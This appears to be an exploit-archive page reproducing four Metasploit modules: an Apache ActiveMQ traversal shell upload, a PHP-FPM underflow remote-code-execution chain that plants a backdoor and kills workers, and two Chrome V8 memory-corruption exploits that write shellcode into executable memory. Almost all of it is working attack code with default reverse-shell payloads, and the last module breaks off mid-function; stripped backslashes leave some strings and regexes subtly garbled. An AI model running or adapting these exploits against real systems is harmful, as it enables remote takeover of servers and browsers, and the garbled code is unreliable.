This Metasploit module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache ActiveMQ versions 5.x before 5.11.2 for Windows. The module tries to upload a JSP payload to the /admin directory via the traversal path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ credentials admin:admin (or other credentials provided by the user). It then issues an HTTP GET request to /admin/.jsp on the target in order to trigger the payload and obtain a shell.

MD5 | d70509a7229f04053ab2e6c54f80f4a5

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
'Description' => %q{
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
ActiveMQ 5.x before 5.11.2 for Windows.

The module tries to upload a JSP payload to the /admin directory via the traversal
path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ
credentials admin:admin (or other credentials provided by the user). It then issues
an HTTP GET request to /admin/.jsp on the target in order to trigger the
payload and obtain a shell.
},
'Author' =>
[
'David Jorm', # Discovery and exploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
[ 'CVE', '2015-1830' ],
[ 'EDB', '40857'],
[ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
],
'Privileged' => false,
'Platform' => %w{ win },
'Targets' =>
[
[ 'Windows Java',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2015-08-19',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 8161,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\admin\']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
])
end

def check
print_status("Running check...")
testfile = Rex::Text::rand_text_alpha(10)
testcontent = Rex::Text::rand_text_alpha(10)

send_request_cgi({
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'PUT',
'data' => ""
})

res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'GET'
})

if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'DELETE'
},
timeout = 1
)
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Uploading payload...")
testfile = Rex::Text::rand_text_alpha(10)
vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.

send_request_cgi({
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'PUT',
'data' => payload.encoded
})

print_status("Payload sent. Attempting to execute the payload.")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'GET'
})
if res && res.code == 200
print_good("Payload executed!")
else
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
end
end
end

Source

This Metasploit module exploits an underflow vulnerability in PHP-FPM versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certain Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file locally on the target, which enables code execution through a query string parameter. This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file.

MD5 | bcbc7e0f55f9d8c8cc54d552dc319ffa

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PHP-FPM Underflow RCE',
'Description' => %q(
This module exploits an underflow vulnerability in versions 7.1.x
below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
Nginx. Only servers with certains Nginx + PHP-FPM configurations are
exploitable. This is a port of the original neex's exploit code (see
refs.). First, it detects the correct parameters (Query String Length
and custom header length) needed to trigger code execution. This step
determines if the target is actually vulnerable (Check method). Then,
the exploit sets a series of PHP INI directives to create a file
locally on the target, which enables code execution through a query
string parameter. This is used to execute normal payload stagers.
Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing
the created local file.
),
'Author' => [
'neex', # (Emil Lerner) Discovery and original exploit code
'cdelafuente-r7' # This module
],
'References' =>
[
['CVE', '2019-11043'],
['EDB', '47553'],
['URL', 'https://github.com/neex/phuip-fpizdam'],
['URL', 'https://bugs.php.net/bug.php?id=78599'],
['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
],
'DisclosureDate' => "2019-10-22",
'License' => MSF_LICENSE,
'Payload' => {
'BadChars' => "&>' "
},
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {
'PrependEncoder' => "php -r "",
'AppendEncoder' => """
}
}
],
[
'Shell Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
])

register_advanced_options([
OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
OptInt.new('QSLHint', [false, 'Query string length hint']),
OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),
OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
])
@filename = rand_text_alpha(1)
@http_param = rand_text_alpha(1)
end

CHECK_COMMAND = "which which"
SUCCESS_PATTERN = "/bin/which"

class DetectMethod
attr_reader :php_option_enable, :php_option_disable

def initialize(php_option_enable:, php_option_disable:, check_cb:)
@php_option_enable = php_option_enable
@php_option_disable = php_option_disable
@check_cb = check_cb
end

def php_option_enabled?(res)
!!@check_cb.call(res)
end
end

def self.detect_methods
{
'session.auto_start' => DetectMethod.new(
php_option_enable: 'session.auto_start=1',
php_option_disable: 'session.auto_start=0',
check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
),
'output_handler.md5' => DetectMethod.new(
php_option_enable: 'output_handler=md5',
php_option_disable: 'output_handler=NULL',
check_cb: ->(res) { res.body.length == 16 }
)
}
end

def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'})
qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length
if qsl_delta.odd?
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
end
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
qsl_prime = qsl - qsl_delta/2 - prefix.length
if qsl_prime < 0
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
end
uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
opts = {
'method' => 'GET',
'uri' => uri,
'headers' => {
'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
'Nuut' => Rex::Text.rand_text_alphanumeric(11)
}
}
actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
actual_timeout ||= 20

connect(opts) if client.nil? || !client.conn?
# By default, try to reuse an existing connection (persist option).
res = client.send_recv(client.request_raw(opts), actual_timeout, true)
if res.nil? && allow_retry
# The server closed the connection, resend without 'persist', which forces
# reconnecting. This could happen if the connection is reused too much time.
# Nginx will automatically close a keepalive connection after 100 requests
# by default or whatever value is set by the 'keepalive_requests' option.
res = client.send_recv(client.request_raw(opts), actual_timeout)
end
res
end

def repeat_operation(op, opts={})
datastore['OperationMaxRetries'].times do |i|
vprint_status("#{op}: try ##{i+1}")
res = opts.empty? ? send(op) : send(op, opts)
return res if res
end
nil
end

def extend_qsl_list(qsl_candidates)
qsl_candidates.each_with_object([]) do |qsl, extended_qsl|
(0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta|
extended_qsl << qsl - delta
end
end.sort.uniq
end

def sanity_check?
datastore['OperationMaxRetries'].times do
res = send_crafted_request(
path: "/PHPnSOSAT",
qsl: datastore['MaxQSL'],
customh_length: datastore['MaxCustomHeaderLength']
)
unless res
vprint_error("Error during sanity check")
return false
end
if res.code != @base_status
vprint_error(
"Invalid status code: #{res.code} (must be #{@base_status}). "
"Maybe ".php" suffix is required?"
)
return false
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
if detect_method.php_option_enabled?(res)
vprint_error(
"Detection method '#{datastore['DetectMethod']}' won't work since "
"the PHP option has already been set on the target. Try another one"
)
return false
end
end
return true
end

def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
res = nil
path = "/PHP_VALUEn#{php_setting}"
pos_offset = 34
if path.length > pos_offset
vprint_error(
"The path size (#{path.length} bytes) is larger than the allowed size "
"(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')")
return nil
end
path += ';' * (pos_offset - path.length)
res = send_crafted_request(
path: path,
qsl: qsl,
customh_length: customh_length,
cmd: cmd
)
unless res
vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
end
return res
end

def send_params_detection(qsl_candidates:, customh_length:, detect_method:)
php_setting = detect_method.php_option_enable
vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
qsl_candidates.product(customh_lengths) do |qsl, c_length|
res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
unless res
vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
return nil
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
end
if detect_method.php_option_enabled?(res)
php_setting = detect_method.php_option_disable
vprint_status("Attack params found, disabling PHP option (#{php_setting})...")
set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
return { qsl: qsl, customh_length: c_length }
end
end
return nil
end

def detect_params(qsl_candidates)
customh_length = nil
if datastore['CustomHeaderLengthHint']
vprint_status(
"Using custom header length hint for max length (customh_length="
"#{datastore['CustomHeaderLengthHint']})"
)
customh_length = datastore['CustomHeaderLengthHint']
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
return repeat_operation(
:send_params_detection,
qsl_candidates: qsl_candidates,
customh_length: customh_length,
detect_method: detect_method
)
end

def send_attack_chain
[
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=#{@filename}",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/#{@filename}",
"extension_dir="<?=`"",
"extension="$_GET[#{@http_param}]`?>""
].each do |php_setting|
vprint_status("Sending php.ini setting: #{php_setting}")
res = set_php_setting(
php_setting: php_setting,
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
)
if res
return res if res.body.include?(SUCCESS_PATTERN)
else
print_error("Error when setting #{php_setting}")
return nil
end
end
return nil
end

def send_payload
disconnect(client) if client&.conn?
send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: payload.encoded,
allow_retry: false
)
Rex.sleep(1)
return session_created? ? true : nil
end

def send_backdoor_cleanup
cleanup_command = ";echo ''>/tmp/#{@filename}"
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_command + ';' + CHECK_COMMAND
)
return res if res&.body.include?(SUCCESS_PATTERN)
return nil
end

def detect_qsl
qsl_candidates = []
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
res = send_crafted_request(path: "/PHPnabcdefghijklmopqrstuv.php", qsl: qsl)
unless res
vprint_error("Error when sending query with QSL=#{qsl}")
next
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
qsl_candidates << qsl
end
end
qsl_candidates
end

def check
print_status("Sending baseline query...")
res = send_crafted_request(path: "/pathninfo.php")
return CheckCode::Unknown("Error when sending baseline query") unless res
@base_status = res.code
vprint_status("Base status code is #{@base_status}")

if datastore['QSLHint']
print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
qsl_candidates = [datastore['QSLHint']]
else
print_status("Detecting QSL...")
qsl_candidates = detect_qsl
end
if qsl_candidates.empty?
return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong")
end
if qsl_candidates.size > datastore['MaxQSLCandidates']
return CheckCode::Detected("Too many qsl candidates found, looks like I got banned")
end

print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")

qsl_candidates = extend_qsl_list(qsl_candidates)
vprint_status("Extended QSL list: #{qsl_candidates}")

print_status("Doing sanity check...")
return CheckCode::Detected('Sanity check failed') unless sanity_check?

print_status("Detecting attack parameters...")
@params = detect_params(qsl_candidates)
return CheckCode::Detected('Unable to detect parameters') unless @params

print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
print_good("Target is vulnerable!")
CheckCode::Vulnerable
end

def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
if @params[:qsl].nil? || @params[:customh_length].nil?
fail_with Failure::NotVulnerable, 'Attack parameters not found'
end

print_status("Performing attack using php.ini settings...")
if repeat_operation(:send_attack_chain)
print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
else
fail_with Failure::Unknown, 'Failed to send the attack chain'
end

print_status("Trying to cleanup /tmp/#{@filename}...")
if repeat_operation(:send_backdoor_cleanup)
print_good('Cleanup done!')
end

print_status("Sending payload...")
repeat_operation(:send_payload)
end

def send_cleanup(cleanup_cmd:)
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_cmd
)
return res if res && res.code != @base_status
return nil
end

def cleanup
return unless successful
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
rm = "rm -f /tmp/#{@filename}"
cleanup_cmd = kill_workers + ';' + rm
disconnect(client) if client&.conn?
print_status("Remove /tmp/#{@filename} and kill workers...")
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
print_good("Done!")
else
print_bad(
"Could not cleanup. Run these commands before terminating the session: "
"#{kill_workers}; #{rm}"
)
end
end
end

Source

This Metasploit module exploits an issue in Chrome version 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload. The payload is executed within the sandboxed renderer process, so the browser must be run with the –no-sandbox option for the payload to work correctly.

MD5 | 2d254d561447d584fca1cf0562293577

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
'Description' => %q{
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
The exploit corrupts the length of a float in order to modify the backing store
of a typed array. The typed array can then be used to read and write arbitrary
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
memory, which is then replaced with the payload.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'dmxcsnsbh', # discovery
'István Kurucsai', # exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2019-5825'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
['URL', 'https://github.com/exodusintel/Chromium-941743'],
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows','osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Mar 7 2019'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)

if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.encoded)
jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}

// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);

// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;

function mapping(a) {
function cb(elem, idx) {
if (idx == 0) {
float_array = [0.1, 0.2];

tarray = new BigUint64Array(2);
tarray[0] = 0x41414141n;
tarray[1] = 0x42424242n;
obj = {'a': 0x31323334, 'b': 1};
obj['b'] = obj;
}

if (idx > float_array_len_offset) {
// minimize the corruption for stability
throw "stop";
}
return idx;
}
return a.map(cb);
}

function get_rw() {
for (let i = 0; i < 10 ** 5; i++) {
mapping(a);
}

// Now lengthen the array, but ensure that it points to a non-dictionary
// backing store.
a.length = (32 * 1024 * 1024)-1;
a.fill(1, float_array_len_offset, float_array_len_offset+1);
a.fill(1, float_array_len_offset+2);

a.push(2);
a.length += 500;

// Now, the non-inlined array constructor should produce an array with
// dictionary elements: causing a crash.
cnt = 1;
try {
mapping(a);
} catch(e) {
// relative RW from the float array from this point on
let sane = sanity_check()
print('sanity_check == ', sane);
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
print('original elements addr: ' + original_elements_ptr.toString(16));
print('original elements value: ' + read8(original_elements_ptr).toString(16));
print('addrof(Object): ' + addrof(Object).toString(16));
}
}

function sanity_check() {
success = true;
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
return success;
}

function read8(addr) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
let result = tarray[0];
float_array[tarray_elements_len_offset+1] = original;
return result;
}

function write8(addr, val) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
tarray[0] = val;
float_array[tarray_elements_len_offset+1] = original;
}

function addrof(o) {
obj['b'] = o;
return float_array[obj_prop_b_offset].f2i();
}

var wfunc = null;
var shellcode = unescape("#{escaped_payload}");

function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}

function rce() {
let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func) - 1n;
print('wasm: ' + wasm_func_addr);
if (wasm_func_addr == 2) {
print('Failed, retrying...');
location.reload();
return;
}

let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
print('sfi: ' + sfi.toString(16));
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));

let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
print('instance: ' + instance.toString(16));

//let rwx_addr = read8(instance + 0x108n);
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
print('rwx: ' + rwx_addr.toString(16));

// write the shellcode to the RWX page
if (shellcode.length % 2 != 0) {
shellcode += "u9090";
}

for (let i = 0; i < shellcode.length; i += 2) {
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
}

// invoke the shellcode
wfunc();
}


function exploit() {
print("Exploiting...");
get_rw();
rce();
}

exploit();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(///.*$/, '') # strip comments
jscript.gsub!(/^s*prints*(.*?);s*$/, '') # strip print(*);
end

html = %Q^



#{jscript}





^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end

Source

This Metasploit modules exploits a type confusion in Google Chrome's JIT compiler. The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary. The payload is executed within the rwx region of the sandboxed renderer process, so the browser must be run with the –no-sandbox option for the payload to work.

MD5 | 2040ec95b119e742369ae8f7039cd437

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
'Description' => %q{
This modules exploits a type confusion in Google Chromes JIT compiler.
The Object.create operation can be used to cause a type confusion between a
PropertyArray and a NameDictionary.
The payload is executed within the rwx region of the sandboxed renderer
process, so the browser must be run with the --no-sandbox option for the
payload to work.
},
'License' => MSF_LICENSE,
'Author' => [
'saelo', # discovery and exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2018-17463'],
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows', 'osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Sep 25 2018'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)

if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] " + request.body)
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")

jscript = %Q^
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);

let ab = new ArrayBuffer(8);
let floatView = new Float64Array(ab);
let uint64View = new BigUint64Array(ab);
let uint8View = new Uint8Array(ab);

Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};

function hex(n) {
return '0x' + n.toString(16);
};

function fail(s) {
print('FAIL ' + s);
throw null;
}

const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;

function gc() {
for (let i = 0; i < 200; i++) {
new ArrayBuffer(0x100000);
}
}

function make(properties) {
let o = {inline: 42} // TODO
for (let i = 0; i < NUM_PROPERTIES; i++) {
eval(`o.p${i} = properties[${i}];`);
}
return o;
}

function pwn() {
function find_overlapping_properties() {
let propertyNames = [];
for (let i = 0; i < NUM_PROPERTIES; i++) {
propertyNames[i] = `p${i}`;
}
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')}
return [${propertyNames.join(', ')}];
}
`);

let propertyValues = [];
for (let i = 1; i < NUM_PROPERTIES; i++) {
propertyValues[i] = -i;
}

for (let i = 0; i < MAX_ITERATIONS; i++) {
let r = vuln(make(propertyValues));
if (r[1] !== -1) {
for (let i = 1; i < r.length; i++) {
if (i !== -r[i] && r[i] -NUM_PROPERTIES) {
return [i, -r[i]];
}
}
}
}

fail("Failed to find overlapping properties");
}

function addrof(obj) {
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
return o.p${p1}.x1;
}
`);

let propertyValues = [];
propertyValues[p1] = {x1: 13.37, x2: 13.38};
propertyValues[p2] = {y1: obj};

let i = 0;
for (; i < MAX_ITERATIONS; i++) {
let res = vuln(make(propertyValues));
if (res !== 13.37)
return res.toBigInt()
}

fail("Addrof failed");
}

function corrupt_arraybuffer(victim, newValue) {
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
let orig = o.p${p1}.x2;
o.p${p1}.x2 = ${newValue.toNumber()};
return orig;
}
`);

let propertyValues = [];
let o = {x1: 13.37, x2: 13.38};
propertyValues[p1] = o;
propertyValues[p2] = victim;

for (let i = 0; i < MAX_ITERATIONS; i++) {
o.x2 = 13.38;
let r = vuln(make(propertyValues));
if (r !== 13.38)
return r.toBigInt();
}

fail("Corrupt ArrayBuffer failed");
}

let [p1, p2] = find_overlapping_properties();
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);

let memview_buf = new ArrayBuffer(1024);
let driver_buf = new ArrayBuffer(1024);

gc();

let memview_buf_addr = addrof(memview_buf);
memview_buf_addr--;
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);

let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);

let driver = new BigUint64Array(driver_buf);
let original_memview_buf_ptr = driver[4];

let memory = {
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memview_buf);
memview.set(bytes);
},
read(addr, len) {
driver[4] = addr;
let memview = new Uint8Array(memview_buf);
return memview.subarray(0, len);
},
readPtr(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memview_buf);
return memview[0];
},
writePtr(addr, ptr) {
driver[4] = addr;
